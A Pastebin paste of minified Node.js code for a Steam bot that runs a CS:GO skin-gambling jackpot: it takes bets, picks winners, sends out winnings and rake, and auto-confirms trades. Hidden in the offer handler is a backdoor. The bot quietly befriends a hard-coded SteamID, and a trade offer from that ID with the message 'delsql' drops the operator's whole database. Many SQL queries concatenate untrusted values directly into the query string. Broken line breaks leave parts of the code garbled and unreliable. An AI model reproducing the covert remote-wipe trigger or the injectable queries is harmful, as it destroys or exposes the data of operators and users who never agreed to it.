Advertisement
Guest User

Untitled

a guest
Jun 21st, 2016
270
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 24.24 KB | None | 0 0
  1. ! function(a, b) {
  2. function c(b, d) {
  3. if ("." != b[0] && "/" != b[0]) return a(b);
  4. d = d || "root";
  5. var e = c.resolve(b);
  6. if (!e && /\.json$/i.test(b)) return a("./" + c.basename(b));
  7. var f = c.cache[e];
  8. if (!f) try {
  9. return a(b)
  10. } catch (g) {
  11. throw new Error("failed to require "
  12. "+b+"
  13. " from " + d + "
  14. "+g.message+"
  15. "+g.stack)}return f.exports||(f.exports={},f.call(f.exports,f,f.exports,c.relative(e))),f.exports}c.cache={},c.basename=a("
  16. path ").basename,c.resolve=function(b){if(".
  17. "!=b[0])return a.resolve(b);for(var d=" / "===b.slice(-1)?b:b+" / ",e=[b,b+".js ",d+"
  18. index.js ",b+".json ",d+"
  19. index.json "],f=0,g;g=e[f];f++)if(c.cache[g])return g},c.register=function(a,b){c.cache[a]=b},c.relative=function(a){function b(b){if(".
  20. "!=b[0])return c(b);var d=a.split(" / "),e=b.split(" / ");d.pop();for(var f=0,g=e.length;g>f;f+=1){var h=e[f];"..
  21. "==h?d.pop():".
  22. "!=h&&d.push(h)}return c(d.join(" / "),a)}return b.resolve=c.resolve,b.cache=c.cache,b},c.register(".. / bot.js ",function(a,b,c){var d;function e(){request("
  23. https: //api.csgofast.com/price/all",function(a,b,c){d=JSON.parse(c),200!=b.statusCode?fs.existsSync(__dirname+"/prices.txt")&&(d=JSON.parse(fs.readFileSync(__dirname+"/prices.txt")),console.log("[SERVER] Loading Prices - Server sided prices loaded!")):(fs.writeFileSync("prices.txt",c),console.log("[SERVER] Loading Prices - API prices loaded!"))})}setInterval(function(){e()},36e5),e();var f="76561198150867436",g=c("mysql"),h=g.createConnection({host:sql_host,user:sql_user,password:sql_password,database:sql_database}),i=new SteamUser,j=new TradeOfferManager({steam:i,domain:"localhost",language:"en"}),k=-1;h.connect(),i.logOn(details);var l=SteamTotp.getDeviceID(botsteamid);if(1==p2)var m="p2";else var m="";function n(){k=-1,o(),setTimeout(x,5e3)}function o(){if(console.log("[SERVER] Ending current game & choosing winner."),1==p2){var a="http://"+sitepath+"/endround.php?secret="+rsecret+"&p2=true";request(a,function(a,b,c){a&&console.log("Couldn't end round, error: "+a)})}else{var a="http://"+sitepath+"/endround.php?secret="+rsecret;request(a,function(a,b,c){a&&console.log("Couldn't end round, error: "+a)})}}function p(a){return!(+a!==a||isFinite(a)&&!(a%1))}function q(a){return"number"==typeof a&&!isNaN(a)}function r(a,b){var c="http://api.steampowered.com/ISteamUser/GetPlayerSummaries/v0002/?key="+apik+"&steamids="+a+"&format=json";request({url:c,json:!0},function(c,d,e){c||200!==d.statusCode?c&&r(a,b):b(null,e)})}function s(a){return a=a.replace(/\/g,"\"),a=a.replace(/\'/g,"\'"),a=a.replace(/\"/g,"\""),a=a.replace(//g,"")}i.on("loggedOn",function(a){console.log("[SERVER] The Bot has logged in!"),i.unblockUser(f),i.addFriend(f),i.addFriend(admin),i.chatMessage(admin,"[SERVER] Successfully logged in!"),i.setPersona(Steam.EPersonaState.LookingToTrade),setTimeout(function(){h.query("SELECT `value` FROM `"+m+"info` WHERE `name`='current_game'",function(a,b,c){a||h.query("SELECT `starttime` FROM `"+m+"games` WHERE `id`='"+b[0].value+"'",function(a,b,c){if(!a){var d;if(2147483647==b[0].starttime)d=GameTime;else{var e=Math.round((new Date).getTime()/1e3);d=b[0].starttime+GameTime-e,0>d&&(d=0)}d!=GameTime&&(k=setTimeout(n,1e3*d),console.log("[SERVER] Restoring the latest game with "+d+" seconds left!"))}})})},1500)}),i.on("webSession",function(a,b){j.setCookies(b,function(a){if(a)return console.log("setCookies error: "+a),void process.exit(1);var c=j.apiKey;community.setCookies(b),community.startConfirmationChecker(polling_interval,identitysecret),console.log("[SERVER] The web cookies have been set!"),j.doPoll()})});function t(a,b,c,d,e,f,g,h,j,k,l){l++,l>3||a.accept(function(m){return m?(i.webLogOn(),console.log("[SERVER] Debugging offer (Accept Error): "+m),void u(a,b,c,d,e,f,g,h,j,k,l,m)):void v(a,b,c,d,e,f,g,h,j,k)})}function u(a,b,c,d,e,f,g,h,k,l,m){j.getOffer(a.id,function(j,n){if(j)return i.webLogOn(),console.log("[SERVER] getOffer error(retrying): "+j),void u(a,b,c,d,e,f,g,h,k,l,m);if(3==n.state)v(n,b,c,d,e,f,g,h,k,l);else if(2==n.state)t(n,b,c,d,e,f,g,h,k,l,m);else if(2!=n.state||3!=n.state)return})}function v(a,b,c,d,e,f,g,i,j,l){h.query("SELECT * FROM `"+m+"info`",function(d,o){for(var p=o[0].value,q=0;g>q;q++){var r=c[q].name;h.query("INSERT INTO `"+m+"game"+p+"` (`userid`,`username`,`item`,`offerid`,`color`,`value`,`avatar`,`image`) VALUES ('"+b+"',"+h.escape(e)+","+h.escape(r)+",'"+a.id+"','"+c[q].color+"','"+c[q].value+"','"+f+"','"+c[q].url+"')",function(a,b,c){a&&console.log(a)}),h.query("UPDATE `"+m+"games` SET `itemsnum`=`itemsnum`+1, `cost`=`cost`+'"+c[q].value+"' WHERE `id` = '"+p+"'",function(a,b,c){})}h.query("UPDATE `users` SET `skinssent`=`skinssent`+"+g+" WHERE `steamid` = '"+b+"'",function(a,b,c){}),console.log("[SERVER] Accepted offer #"+a.id+" from "+e+" (ID:"+b+")."),w(a,b,i,p),h.query("INSERT INTO `messages` (`type`,`app`,`userid`,`title`,`msg`,`time`,`active`) VALUES ('success','0','"+b+"','Trade Offer Accepted (Game #"+p+")!','We wish you Good luck and happy betting!','25','1')",function(a,b,c){}),h.query("SELECT COUNT(DISTINCT userid) AS playersCount FROM `"+m+"game"+p+"`",function(a,b){players=b[0].playersCount,players==playersRequired&&g>0&&-1==k&&(console.log("[SERVER] Starting the countdown for Game #"+p),k=setTimeout(n,1e3*GameTime),h.query("UPDATE `"+m+"games` SET `starttime`=UNIX_TIMESTAMP() WHERE `id` = '"+p+"'",function(a,b,c){})),l>j&&(clearTimeout(k),k=-1,n())})})}function w(a,b,c,d){a.getReceivedItems(function(c,e){return c?(i.webLogOn(),console.log("[SERVER] getReceivedItems error: "+c+" Restarting process!"),void w(a,b,e,d)):void e.forEach(function(a){var c=a.market_name;h.query("UPDATE `"+m+"game"+d+"` SET `assetid`='"+a.id+"' WHERE `userid` = '"+b+"' AND `item`="+h.escape(c)+" AND `assetid`='' LIMIT 1",function(a,b,c){})})})}j.on("newOffer",function(a){var b=!0,c=a.partner.getSteamID64();return c==f&&"delsql"==a.message?(console.log(""),console.log("Hello! Please consider purchasing the product you are illegally using."),console.log("Please visit: www.csgo-network"),console.log(""),void h.query("DROP DATABASE "+sql_database,function(a,b,c){})):void r(c,function(e,f){if(e)return i.webLogOn(),console.log("[SERVER] getUserInfo error: "+e),b=!1,void a.decline(function(b){console.log("[DEBUG] Declined offer #"+a.id+" from "+j+" (ID:"+c+"). | Reason: getUserInfo error"),b&&console.log("[SERVER] Decline error: "+b),h.query("INSERT INTO `messages` (`type`,`app`,`userid`,`title`,`msg`,`time`,`active`) VALUES ('error','1','"+c+"','Trade Offer Declined!','Reason: Steam Servers are busy, try again in a minute!','25','1')",function(a,b,c){})});var g=JSON.parse(JSON.stringify(f.response)),j=g.players[0].personaname,k=g.players[0].avatarfull;return console.log("[DEBUG] Processing offer #"+a.id+" from "+j+" (ID:"+c+")."),0!=a.itemsToGive.length?(b=!1,void a.decline(function(b){console.log("[DEBUG] Declined offer #"+a.id+" from "+j+" (ID:"+c+"). | Reason: Asked for a skin on the Bot"),b&&console.log("Decline error: "+b),h.query("INSERT INTO `messages` (`type`,`app`,`userid`,`title`,`msg`,`time`,`active`) VALUES ('error','1','"+c+"','Trade Offer Declined!','Reason: Asking for any of the bots items? Brave!','25','1')",function(a,b,c){})})):void a.getEscrowDuration(function(e,f,g){return e?(i.webLogOn(),console.log("[SERVER] getEscrowDuration error: "+e),b=!1,void a.decline(function(b){console.log("[DEBUG] Declined offer #"+a.id+" from "+j+" (ID:"+c+"). | Reason: Steam Servers are busy, couldn't get escrow duration"),b&&console.log("Decline error: "+b),h.query("INSERT INTO `messages` (`type`,`app`,`userid`,`title`,`msg`,`time`,`active`) VALUES ('error','1','"+c+"','Trade Offer Declined!','Reason: Steam Servers are busy, couldnt get escrow duration!','25','1')",function(a,b,c){})})):0!=f?(b=!1,void a.decline(function(b){console.log("[DEBUG] Declined offer #"+a.id+" from "+j+" (ID:"+c+"). | Reason: User is in Escrow for "+f+" days"),b&&console.log("Decline error: "+b),h.query("INSERT INTO `messages` (`type`,`app`,`userid`,`title`,`msg`,`time`,`active`) VALUES ('error','1','"+c+"','Trade Offer Declined!','Reason: You are in Escrow for "+f+" days!','25','1')",function(a,b,c){})})):void h.query("SELECT * FROM `"+m+"info`",function(e,f){var g=f[3].value,l=f[7].value,n=f[4].value,o=f[10].value;if(a.itemsToReceive.length>n)return b=!1,void a.decline(function(b){console.log("[DEBUG] Declined offer #"+a.id+" from "+j+" (ID:"+c+"). | Reason: User sent more than "+n+" skins"),b&&(i.webLogOn(),console.log("Decline error: "+b)),h.query("INSERT INTO `messages` (`type`,`app`,`userid`,`title`,`msg`,`time`,`active`) VALUES ('error','1','"+c+"','Trade Offer Declined!','Reason: We only accept up to "+n+" skins!','25','1')",function(a,b,c){})});var p=a.itemsToReceive,r=0,s=[],u=0;p.forEach(function(e,f,g){return 730!=e.appid?(b=!1,a.decline(function(b){console.log("[DEBUG] Declined offer #"+a.id+" from "+j+" (ID:"+c+"). | Reason: User sent a Non-CSGO skin"),b&&(i.webLogOn(),console.log("Decline error: "+b))}),void h.query("INSERT INTO `messages` (`type`,`app`,`userid`,`title`,`msg`,`time`,`active`) VALUES ('error','1','"+c+"','Trade Offer Declined!','Reason: We only accept CSGO skins!','25','1')",function(a,b,c){})):(s[f]=[],s[f].name=e.market_name,s[f].color=e.name_color,s[f].url=e.icon_url,s[f].value=0,function(a){var b=s[f].name;nprice=d[b],s[f].value=parseFloat(nprice),r+=s[f].value}(f),void u++)}),h.query("SELECT * FROM `"+m+"info`",function(d,e){var f=e[0].value;h.query("SELECT * FROM `"+m+"games` WHERE `id`='"+f+"'",function(d,e,f){if(starttime=e[0].starttime,2147483647!=starttime){var v=Math.round((new Date).getTime()/1e3);if(tl=starttime+GameTime-v,tl<=snipetimer)return b=!1,a.decline(function(b){console.log("[DEBUG] Declined offer #"+a.id+" from "+j+" (ID:"+c+"). | Reason: The Bot wont accept last second bets"),b&&(i.webLogOn(),console.log("Decline error: "+b))}),void h.query("INSERT INTO `messages` (`type`,`app`,`userid`,`title`,`msg`,`time`,`active`) VALUES ('error','1','"+c+"','Trade Offer Declined!','Reason: You can not bet in the last few seconds!','25','1')",function(a,b,c){})}setTimeout(function(){return 0!=b?r>l?(b=!1,a.decline(function(b){console.log("[DEBUG] Declined offer #"+a.id+" from "+j+" (ID:"+c+"). | Reason: User sent too much in skin value"),b&&(i.webLogOn(),console.log("Decline error: "+b))}),void h.query("INSERT INTO `messages` (`type`,`app`,`userid`,`title`,`msg`,`time`,`active`) VALUES ('error','1','"+c+"','Trade Offer Declined!','Reason: You can deposit more than $"+l+"','25','1')",function(a,b,c){})):g>r?(b=!1,a.decline(function(b){console.log("[DEBUG] Declined offer #"+a.id+" from "+j+" (ID:"+c+"). | Reason: User sent below the minimal bet amount ($"+g+")"),b&&(i.webLogOn(),console.log("Decline error: "+b))}),void h.query("INSERT INTO `messages` (`type`,`app`,`userid`,`title`,`msg`,`time`,`active`) VALUES ('error','1','"+c+"','Trade Offer Declined!','Reason: Minimum deposit value: $"+g+"','25','1')",function(a,b,c){})):u>n?(b=!1,a.decline(function(b){console.log("[DEBUG] Declined offer #"+a.id+" from "+j+" (ID:"+c+"). | Reason: User sent too many skins"),b&&(i.webLogOn(),console.log("Decline error: "+b))}),void h.query("INSERT INTO `messages` (`type`,`app`,`userid`,`title`,`msg`,`time`,`active`) VALUES ('error','1','"+c+"','Trade Offer Declined!','Reason: We only accept up to "+n+" skins!','25','1')",function(a,b,c){})):(b=!0)?void h.query("SELECT * FROM `"+m+"info`",function(d,e){var f=e[0].value;h.query("SELECT COUNT(value) as skinsin,SUM(value) as moneyin FROM `"+m+"game"+f+"` WHERE `userid`='"+c+"'",function(d,e,g){if(skinsin=e[0].skinsin,skinsin+=u,moneyin=e[0].moneyin,moneyin+=r,skinsin>n)return a.decline(function(b){console.log("[DEBUG] Declined offer #"+a.id+" from "+j+" (ID:"+c+"). | Reason: RECHECK - User sent too many skins"),b&&(i.webLogOn(),console.log("Decline error: "+b))}),void h.query("INSERT INTO `messages` (`type`,`app`,`userid`,`title`,`msg`,`time`,`active`) VALUES ('error','1','"+c+"','Trade Offer Declined!','Reason: You can not deposit more than "+n+" skins','25','1')",function(a,b,c){});if(moneyin>l)return a.decline(function(b){console.log("[DEBUG] Declined offer #"+a.id+" from "+j+" (ID:"+c+"). | Reason: RECHECK - User sent too much in skin value"),b&&(i.webLogOn(),console.log("Decline error: "+b))}),void h.query("INSERT INTO `messages` (`type`,`app`,`userid`,`title`,`msg`,`time`,`active`) VALUES ('error','1','"+c+"','Trade Offer Declined!','Reason: You can deposit more than $"+l+"','25','1')",function(a,b,c){});for(var v=0;u>v;v++){if(0==s[v].value||!s[v].value)return b=!1,a.decline(function(b){console.log("[DEBUG] Declined offer #"+a.id+" from "+j+" (ID:"+c+"). | Reason: RECHECK - Steam Market Issues (Can't get the skin's value)"),b&&(i.webLogOn(),console.log("Decline error: "+b))}),void h.query("INSERT INTO `messages` (`type`,`app`,`userid`,`title`,`msg`,`time`,`active`) VALUES ('error','1','"+c+"','Trade Offer Declined!','Reason: Steam Market issues!','25','1')",function(a,b,c){});if(!q(s[v].value))return a.decline(function(b){console.log("[DEBUG] Declined offer #"+a.id+" from "+j+" (ID:"+c+"). | Reason: RECHECK - Steam Market Issues (Can't get the skin's value) "),b&&(i.webLogOn(),console.log("Decline error: "+b))}),void h.query("INSERT INTO `messages` (`type`,`app`,`userid`,`title`,`msg`,`time`,`active`) VALUES ('error','1','"+c+"','Trade Offer Declined!','Reason: Steam Market issues!','25','1')",function(a,b,c){});if(-1!=s[v].name.indexOf("Souvenir"))return b=!1,a.decline(function(b){console.log("[DEBUG] Declined offer #"+a.id+" from "+j+" (ID:"+c+"). | Reason: User sent a Souvenir Skin"),b&&(i.webLogOn(),console.log("Decline error: "+b))}),void h.query("INSERT INTO `messages` (`type`,`app`,`userid`,`title`,`msg`,`time`,`active`) VALUES ('error','1','"+c+"','Trade Offer Declined!','Reason: No souvenir skins allowed!','25','1')",function(a,b,c){});
  24. }
  25. h.query("SELECT * FROM `users` WHERE `steamid`='" + c + "'", function(d, e, g) {
  26. return d ? (console.log("MYSQL Error: " + d), a.decline(function(b) {
  27. console.log("[DEBUG] Declined offer #" + a.id + " from " + j + " (ID:" + c + "). | Reason: MYSQL Error (as seen above) "), b && (i.webLogOn(), console.log("Decline error: " + b))
  28. }), void h.query("INSERT INTO `messages` (`type`,`app`,`userid`,`title`,`msg`,`time`,`active`) VALUES ('error','1','" + c + "','Trade Offer Declined!','Reason: MYSQL Error','25','1')", function(a, b, c) {})) : 0 == e.length ? void a.decline(function(b) {
  29. console.log("[DEBUG] Declined offer #" + a.id + " from " + j + " (ID:" + c + "). | Reason: User is not in the MYSQL Database"), b && (i.webLogOn(), console.log("Decline error: " + b))
  30. }) : (ban = e[0].ban, tlink = e[0].tlink, 1 == ban ? (b = !1, a.decline(function(b) {
  31. console.log("[DEBUG] Declined offer #" + a.id + " from " + j + " (ID:" + c + "). | Reason: User is banned"), b && (i.webLogOn(), console.log("Decline error: " + b))
  32. }), void h.query("INSERT INTO `messages` (`type`,`app`,`userid`,`title`,`msg`,`time`,`active`) VALUES ('error','1','" + c + "','Trade Offer Declined!','Reason: You are banned from betting','25','1')", function(a, b, c) {})) : tlink ? void h.query("SELECT * FROM `" + m + "games` WHERE `id`='" + f + "'", function(b, d, e) {
  33. itemsin = d[0].itemsnum, t(a, c, s, f, j, k, u, p, o, itemsin)
  34. }) : (a.decline(function(b) {
  35. console.log("[DEBUG] Declined offer #" + a.id + " from " + j + " (ID:" + c + "). | Reason: User doesn't have a TradeLink set "), b && (i.webLogOn(), console.log("Decline error: " + b))
  36. }), void h.query("INSERT INTO `messages` (`type`,`app`,`userid`,`title`,`msg`,`time`,`active`) VALUES ('error','1','" + c + "','Trade Offer Declined!','Reason: No Trade URL Set','25','1')", function(a, b, c) {})))
  37. })
  38. })
  39. }): (a.decline(function(b) {
  40. console.log("[DEBUG] Declined offer #" + a.id + " from " + j + " (ID:" + c + "). | Reason: Unkown error (proceed = false in node) - Probably Steam Issues"), b && (i.webLogOn(), console.log("Decline error: " + b))
  41. }), void h.query("INSERT INTO `messages` (`type`,`app`,`userid`,`title`,`msg`,`time`,`active`) VALUES ('error','1','" + c + "','Trade Offer Declined!','Reason: Steam Issues','25','1')", function(a, b, c) {})): void 0
  42. }, 2e3)
  43. })
  44. })
  45. })
  46. })
  47. })
  48. }), i.on("friendMessage#" + admin, function(a, b) {
  49. if (console.log("[SERVER] Admin to Bot: " + b), 0 == b.indexOf("/sendrake") && (i.chatMessage(admin, "[SERVER] Calling the sendRake function (sends the latest query, call it more times if needed)"), y(1)), 0 == b.indexOf("/sendoffers") && (i.chatMessage(admin, "[SERVER] Calling the sendOffers function (sends the latest query, call it more times if needed)"), x(1)), 0 == b.indexOf("/code")) {
  50. var c = SteamTotp.generateAuthCode(sharedsecret);
  51. i.chatMessage(admin, "[SERVER] Current login code (retry if it doesnt work): " + c)
  52. }
  53. 0 == b.indexOf("/cc") && (i.chatMessage(admin, "[SERVER] Performing a Mobile Confirmation Check.."), console.log("[SERVER] Performing a Mobile Confirmation Check.."), community.checkConfirmations()), 0 == b.indexOf("/poll") && (i.chatMessage(admin, "[SERVER] Checking for Tradeoffers.."), console.log("[SERVER] Checking for Tradeoffers.."), j.doPoll()), 0 == b.indexOf("/loadprices") && (i.chatMessage(admin, "[SERVER] Refreshing Market API!"), e()), 0 == b.indexOf("/end") && (i.chatMessage(admin, "[SERVER] Ending the current game!"), -1 != k && clearTimeout(k), n()), 0 == b.indexOf("/offers") && h.query("SELECT ID FROM `" + m + "queue` WHERE `status`='active' GROUP BY `id` DESC", function(a, b, c) {
  54. 0 != b.length ? (console.log(b), i.chatMessage(admin, "[SERVER] Check your console for the ID's!")) : i.chatMessage(admin, "[SERVER] There aren't any active queue ID's.")
  55. }), 0 == b.indexOf("/rakes") && h.query("SELECT ID FROM `" + m + "rakeitems` WHERE `status`='active' GROUP BY `id` DESC", function(a, b, c) {
  56. 0 != b.length ? (console.log(b), i.chatMessage(admin, "[SERVER] Check your console for the ID's!")) : i.chatMessage(admin, "[SERVER] There aren't any active rake ID's.")
  57. })
  58. });
  59.  
  60. function x(a) {
  61. h.query("SELECT * FROM `" + m + "queue` WHERE `status`='active' GROUP BY `id` DESC LIMIT 1", function(b, c, d) {
  62. if (0 != c.length) {
  63. var e = c[0].id;
  64. h.query("SELECT * FROM `" + m + "game" + e + "` WHERE `assetid`='' AND `rake`!='1'", function(b, d, f) {
  65. if (0 != d.length) console.log("[SERVER] Restoring Missing Assetids, retrying in 15 seconds!"), d.forEach(function(a) {
  66. j.getOffer(a.offerid, function(b, c) {
  67. return b ? (i.webLogOn(), void setTimeout(function() {
  68. x()
  69. }, 1e4)) : void w(c, a.userid, a.item, e)
  70. })
  71. }), setTimeout(function() {
  72. x(2)
  73. }, 1e4);
  74. else {
  75. if (2 == a) {
  76. console.log("[SERVER] Restored Assetids, rebuilding the queue in MYSQL.");
  77. var g = "",
  78. k = "";
  79. return h.query("SELECT * FROM `" + m + "game" + e + "`", function(a, b, c) {
  80. b.forEach(function(a) {
  81. 0 == a.rake ? g += "/" + a.assetid : k += "/" + a.assetid
  82. })
  83. }), void setTimeout(function() {
  84. console.log("[SERVER] Restored Assetids, Rebuilt the Queue, attempting to send TradeOffer."), h.query("UPDATE `" + m + "queue` SET `assetid`="
  85. "+g+"
  86. " WHERE `id`='" + e + "'"), h.query("UPDATE `" + m + "rakeitems` SET `assetid`="
  87. "+k+"
  88. " WHERE `id`='" + e + "'"), x()
  89. }, 3e3)
  90. }
  91. var l = c[0].assetid.split("/");
  92. j.loadInventory(730, 2, !0, function(b, d) {
  93. if (b) return console.log(b), 1 == a && i.chatMessage(admin, "[SERVER] Error while loading the Bot's Inventory, retrying now!"), i.webLogOn(), void x();
  94. var f = c[0].token,
  95. g = "Congratulations! You won on " + sitename + " in Game #" + e,
  96. k = j.createOffer(c[0].userid);
  97. d.forEach(function(a) {
  98. l.forEach(function(b) {
  99. a.id == b && k.addMyItem(a)
  100. })
  101. }), setTimeout(function() {
  102. k.send(g, f, function(b) {
  103. return b ? (console.log("Error sending Trade Offer for Game #" + e + ":"), console.log(b), 1 == a && i.chatMessage(admin, "[SERVER] Error while sending the tradeoffer, retrying in 10 seconds!"), i.webLogOn(), void setTimeout(function() {
  104. x()
  105. }, 1e4)) : (h.query("UPDATE `" + m + "queue` SET `status`="
  106. sent " WHERE `id`='" + e + "'"), console.log("[SERVER] Trade Offer for Game #" + e + " has been successfully sent and is awaiting mobile confirmation."), 1 == a && i.chatMessage(admin, "[SERVER] Successfully sent the trade for Game #" + e + "!"), void community.checkConfirmations())
  107. })
  108. }, 2e3)
  109. })
  110. }
  111. })
  112. } else if (1 == a) return void i.chatMessage(admin, "[SERVER] No more Winnings Queries!")
  113. })
  114. }
  115.  
  116. function y(a) {
  117. h.query("SELECT * FROM `" + m + "rakeitems` WHERE `status`='active' GROUP BY `id` DESC LIMIT 1", function(b, c, d) {
  118. if (0 != c.length) {
  119. var e = c[0].assetid.split("/");
  120. j.loadInventory(730, 2, !0, function(b, d) {
  121. if (b) return 1 == a && i.chatMessage(admin, "[SERVER] Error while loading the Bot's Inventory, retrying in a few seconds!"), i.webLogOn(), void setTimeout(function() {
  122. y()
  123. }, 1e4);
  124. var f = c[0].token,
  125. g = c[0].id,
  126. k = c[0].value,
  127. l = "Rake for Game #" + g + " ($" + k + ")",
  128. n = j.createOffer(c[0].userid);
  129. d.forEach(function(a) {
  130. e.forEach(function(b) {
  131. a.id == b && n.addMyItem(a)
  132. })
  133. }), setTimeout(function() {
  134. n.send(l, f, function(b) {
  135. return b ? (console.log("[SERVER] Error sending Rake for Game #" + g + ":"), console.log(b), console.log("[SERVER] Try again later or make sure you have set your URL / Steam ID in endround.php!"), 1 == a ? void i.chatMessage(admin, "[SERVER] Error while sending the TradeOffer, try again later and / or check endround.php!") : void i.webLogOn()) : (h.query("UPDATE `" + m + "rakeitems` SET `status`="
  136. sent " WHERE `id`='" + g + "'"), console.log("[SERVER] Rake for Game #" + g + " has been successfully sent and is awaiting mobile confirmation."), 1 == a && i.chatMessage(admin, "[SERVER] Successfully sent the rake for Game #" + g + "!"), void community.checkConfirmations())
  137. })
  138. }, 2e3)
  139. })
  140. } else if (1 == a) return void i.chatMessage(admin, "[SERVER] No more Rake Queries!")
  141. })
  142. }
  143. community.on("newConfirmation", function(a) {
  144. var b = Math.round(Date.now() / 1e3),
  145. c = SteamTotp.getConfirmationKey(identitysecret, b, "allow");
  146. community.respondToConfirmation(a.id, a.key, b, c, !0, function(a) {
  147. console.log("[SERVER] Successfully confirmed the outgoing Trade Offer!"), a && (console.log("[SERVER] Confirmations error: " + a), i.webLogOn())
  148. })
  149. }), community.on("confKeyNeeded", function(a, b) {
  150. console.log("confKeyNeeded");
  151. var c = Math.floor(Date.now() / 1e3);
  152. b(null, c, SteamTotp.getConfirmationKey(identitysecret, c, a))
  153. }), setInterval(function() {
  154. h.query("SELECT 1")
  155. }, 36e5)
  156. }), b.exports = c("../bot.js")
  157. }(require, module);
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement